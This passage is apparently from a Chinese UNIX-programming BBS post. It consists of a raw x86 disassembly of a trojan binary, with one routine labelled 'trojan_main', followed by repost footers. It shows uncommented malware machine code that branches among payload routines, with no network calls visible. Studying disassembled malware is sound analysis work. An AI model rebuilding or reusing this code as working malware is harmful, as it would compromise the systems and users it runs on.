0x804a5e9:      call   0x8049604
0x804a5ee:      mov    %eax,%esi
0x804a5f0:      lea    0xfffffff8(%ebp),%ebx
0x804a5f3:      push   %ebx
0x804a5f4:      push   $0x2a
0x804a5f6:      call   0x8049610
0x804a5fb:      add    $0x18,%esp
0x804a5fe:      test   %eax,%eax
0x804a600:      jl     0x804a69d
0x804a606:      push   $0x2
0x804a608:      call   0x8049604
0x804a60d:      add    $0x4,%esp
0x804a610:      test   %eax,%eax
0x804a612:      jne    0x804a680
0x804a614:      pushl  0xfffffff8(%ebp)
0x804a617:      push   $0x6
0x804a619:      call   0x8049610
0x804a61e:      push   $0x0
0x804a620:      push   $0x0
0x804a622:      push   %esi
0x804a623:      push   $0x10
0x804a625:      call   0x804a5a8
0x804a62a:      add    $0x18,%esp
0x804a62d:      test   %eax,%eax
0x804a62f:      jge    0x804a648
0x804a631:      push   $0x1
0x804a633:      lea    0xfffffff7(%ebp),%eax
0x804a636:      push   %eax
0x804a637:      pushl  0x4(%ebx)
0x804a63a:      push   $0x4
0x804a63c:      call   0x804963c
0x804a641:      add    $0x10,%esp
0x804a644:      jmp    0x804a674
0x804a646:      mov    %esi,%esi
0x804a648:      push   $0x1
0x804a64a:      lea    0xfffffff6(%ebp),%eax
0x804a64d:      push   %eax
0x804a64e:      pushl  0x4(%ebx)
0x804a651:      push   $0x4
0x804a653:      call   0x804963c
0x804a658:      push   $0x0
0x804a65a:      push   $0x0
0x804a65c:      push   %esi
0x804a65d:      push   $0x11
0x804a65f:      call   0x804a5a8
0x804a664:      add    $0x20,%esp
0x804a667:      push   $0x12
0x804a669:      push   %esi
0x804a66a:      push   $0x25
0x804a66c:      call   0x8049624
0x804a671:      add    $0xc,%esp
0x804a674:      push   $0x0
0x804a676:      push   $0x1
0x804a678:      call   0x8049610
0x804a67d:      add    $0x8,%esp
0x804a680:      push   $0x1
0x804a682:      lea    0xfffffff5(%ebp),%eax
0x804a685:      push   %eax
0x804a686:      pushl  0xfffffff8(%ebp)
0x804a689:      push   $0x3
0x804a68b:      call   0x804963c
0x804a690:      cmp    $0x1,%eax
0x804a693:      jne    0x804a69d
0x804a695:      mov    0xfffffff6(%ebp),%al
0x804a698:      cmp    %al,0xfffffff5(%ebp)
0x804a69b:      jne    0x804a6a4
0x804a69d:      xor    %eax,%eax
0x804a69f:      jmp    0x804a6a9
0x804a6a1:      lea    0x0(%esi),%esi
0x804a6a4:      mov    $0x1,%eax
0x804a6a9:      lea    0xffffffec(%ebp),%esp
0x804a6ac:      pop    %ebx
0x804a6ad:      pop    %esi
0x804a6ae:      leave
0x804a6af:      ret
0x804a6b0:      push   %ebp
0x804a6b1:      mov    %esp,%ebp
0x804a6b3:      sub    $0x30,%esp
0x804a6b6:      push   %esi
0x804a6b7:      push   %ebx
0x804a6b8:      push   $0x3ff
0x804a6bd:      push   $0x5
0x804a6bf:      push   $0x46532e4f
0x804a6c4:      call   0x8049688
0x804a6c9:      mov    %eax,%esi
0x804a6cb:      add    $0xc,%esp
0x804a6ce:      test   %esi,%esi
0x804a6d0:      jl     0x804a75a
0x804a6d6:      push   $0x0
0x804a6d8:      push   $0x0
0x804a6da:      push   %esi
0x804a6db:      call   0x80496a0
0x804a6e0:      mov    %eax,%ebx
0x804a6e2:      add    $0xc,%esp
0x804a6e5:      test   %ebx,%ebx
0x804a6e7:      je     0x804a75a
0x804a6e9:      lea    0xffffffd0(%ebp),%eax
0x804a6ec:      push   %eax
0x804a6ed:      push   $0x2
0x804a6ef:      push   %esi
0x804a6f0:      call   0x80496c0
0x804a6f5:      add    $0xc,%esp
0x804a6f8:      test   %eax,%eax
0x804a6fa:      jl     0x804a754
0x804a6fc:      push   $0x18
0x804a6fe:      call   0x8049604
0x804a703:      mov    %eax,%esi
0x804a705:      mov    0xfffffff4(%ebp),%eax
0x804a708:      add    $0x4,%esp
0x804a70b:      cmp    $0x1,%ax
0x804a70f:      jbe    0x804a738
0x804a711:      test   %esi,%esi
0x804a713:      jne    0x804a738
0x804a715:      cmpb   $0x1,0x4(%ebx)
0x804a719:      je     0x804a738
0x804a71b:      push   $0x9
0x804a71d:      pushl  (%ebx)
0x804a71f:      push   $0x25
0x804a721:      call   0x8049624
0x804a726:      push   $0x14
0x804a728:      call   0x8049604
0x804a72d:      mov    %eax,(%ebx)
0x804a72f:      movb   $0x1,0x4(%ebx)
0x804a733:      mov    %ebx,%eax
0x804a735:      jmp    0x804a75c
0x804a737:      nop
0x804a738:      cmp    $0x1,%ax
0x804a73c:      ja     0x804a754
0x804a73e:      push   $0x14
0x804a740:      call   0x8049604
0x804a745:      mov    %eax,(%ebx)
0x804a747:      test   %esi,%esi
0x804a749:      sete   %al
0x804a74c:      mov    %al,0x4(%ebx)
0x804a74f:      mov    %ebx,%eax
0x804a751:      jmp    0x804a75c
0x804a753:      nop
0x804a754:      push   %ebx
0x804a755:      call   0x80496d8
0x804a75a:      xor    %eax,%eax
0x804a75c:      lea    0xffffffc8(%ebp),%esp
0x804a75f:      pop    %ebx
0x804a760:      pop    %esi
0x804a761:      leave
0x804a762:      ret
0x804a763:      nop
0x804a764:      push   %ebp
0x804a765:      mov    %esp,%ebp
0x804a767:      sub    $0x100,%esp
0x804a76d:      push   %esi
0x804a76e:      push   %ebx
0x804a76f:      push   $0x80
0x804a774:      push   $0x0
0x804a776:      lea    0xffffff80(%ebp),%esi
0x804a779:      push   %esi
0x804a77a:      call   0x804974c
0x804a77f:      push   $0x80
0x804a784:      push   %esi
0x804a785:      push   $0xb7
0x804a78a:      call   0x8049624
0x804a78f:      push   $0x5
0x804a791:      lea    0xffffff00(%ebp),%ebx
0x804a797:      push   %ebx
0x804a798:      push   $0x6
0x804a79a:      call   0x8049c4c
0x804a79f:      add    $0x24,%esp
0x804a7a2:      push   $0x5
0x804a7a4:      push   %ebx
0x804a7a5:      push   %esi
0x804a7a6:      call   0x8049718
0x804a7ab:      add    $0xc,%esp
0x804a7ae:      cmp    $0x1,%eax
0x804a7b1:      je     0x804a7d0
0x804a7b3:      push   $0x4
0x804a7b5:      push   %ebx
0x804a7b6:      push   $0x7
0x804a7b8:      call   0x8049c4c
0x804a7bd:      push   $0x4
0x804a7bf:      push   %ebx
0x804a7c0:      push   %esi
0x804a7c1:      call   0x8049718
0x804a7c6:      cmp    $0x1,%eax
0x804a7c9:      je     0x804a7d0
0x804a7cb:      xor    %eax,%eax
0x804a7cd:      jmp    0x804a7d5
0x804a7cf:      nop
0x804a7d0:      mov    $0x1,%eax
0x804a7d5:      lea    0xfffffef8(%ebp),%esp
0x804a7db:      pop    %ebx
0x804a7dc:      pop    %esi
0x804a7dd:      leave
0x804a7de:      ret
0x804a7df:      nop

// trojan_main
0x804a7e0:      push   %ebp
0x804a7e1:      mov    %esp,%ebp
0x804a7e3:      call   0x804a5cc
0x804a7e8:      cmp    $0x1,%eax
0x804a7eb:      jne    0x804a7f4
0x804a7ed:      mov    $0x1,%eax
0x804a7f2:      jmp    0x804a831
0x804a7f4:      call   0x804a6b0
0x804a7f9:      test   %eax,%eax
0x804a7fb:      je     0x804a82c
0x804a7fd:      push   %eax
0x804a7fe:      call   0x80496d8
0x804a803:      push   $0x2
0x804a805:      call   0x8049604
0x804a80a:      add    $0x8,%esp
0x804a80d:      test   %eax,%eax
0x804a80f:      jne    0x804a82c
0x804a811:      call   0x804a6b0
0x804a816:      test   %eax,%eax
0x804a818:      jne    0x804a820
0x804a81a:      xor    %eax,%eax
0x804a81c:      jmp    0x804a831
0x804a81e:      mov    %esi,%esi
0x804a820:      call   0x804a418
0x804a825:      xor    %eax,%eax
0x804a827:      jmp    0x804a831
0x804a829:      lea    0x0(%esi),%esi
0x804a82c:      call   0x804a764
0x804a831:      leave
0x804a832:      ret


--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 202.108.200.52]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店